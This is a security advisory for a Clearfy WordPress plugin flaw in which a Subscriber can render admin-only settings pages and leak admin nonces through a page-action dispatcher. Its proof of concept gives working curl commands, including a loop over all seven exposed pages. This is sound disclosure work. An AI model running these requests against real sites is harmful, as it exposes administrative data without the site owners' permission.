Clearfy < 2.4.3 – Subscriber+ Sensitive Information Disclosure via Factory Page-Action Dispatcher | CVE 2026-16295

Description

The plugin does not perform a capability check in one of its admin-page dispatch paths, allowing any authenticated user such as a Subscriber to render admin-only settings pages and disclose their contents, including administrative nonces, while the canonical page URL correctly restricts access.

Proof of Concept

Prerequisites: Clearfy 2.4.2 active; a Subscriber account. Replace https://victim.example with the target.

1. Log in as the Subscriber:
JAR=cookies.txt
curl -s -c $JAR -L -d 'log=subscriber' -d 'pwd=PASSWORD' -d 'wp-submit=Log In' -d 'testcookie=1' -b 'wordpress_test_cookie=WP Cookie check' -o /dev/null "https://victim.example/wp-login.php"

2. Negative control - the canonical admin page is correctly gated (HTTP 403 for the Subscriber):
curl -s -b $JAR -o /dev/null -w '%{http_code}\n' "https://victim.example/wp-admin/admin.php?page=clearfy_settings-wbcr_clearfy"

3. Exploit - render the same admin settings page via the dispatcher (HTTP 200):
curl -s -b $JAR "https://victim.example/wp-admin/?fy_page=clearfy_settings&fy_plugin=wbcr_clearfy&fy_action=index&fy_ajax=1"
The 200 response contains the admin settings UI, admin form _wpnonce values, and admin-only toggles (e.g. wbcr_clearfy_complete_uninstall), none of which a Subscriber should see.

4. All seven admin pages are exposed to the Subscriber via the same dispatcher:
for P in quick_start advanced performance defence clearfy_settings seo components; do
  curl -s -b $JAR -o /dev/null -w "fy_page=$P HTTP %{http_code}\n" \
    "https://victim.example/wp-admin/?fy_page=$P&fy_plugin=wbcr_clearfy&fy_action=index&fy_ajax=1"
done

Honest negatives: the same dispatcher request with no session returns HTTP 302 (redirect to login), so the issue is Subscriber+, not unauthenticated. The leaked admin nonces do not chain to a state change: downstream Clearfy handlers additionally enforce current_user_can('administrator') after their nonce check, so a Subscriber replay is rejected. Impact is disclosure only.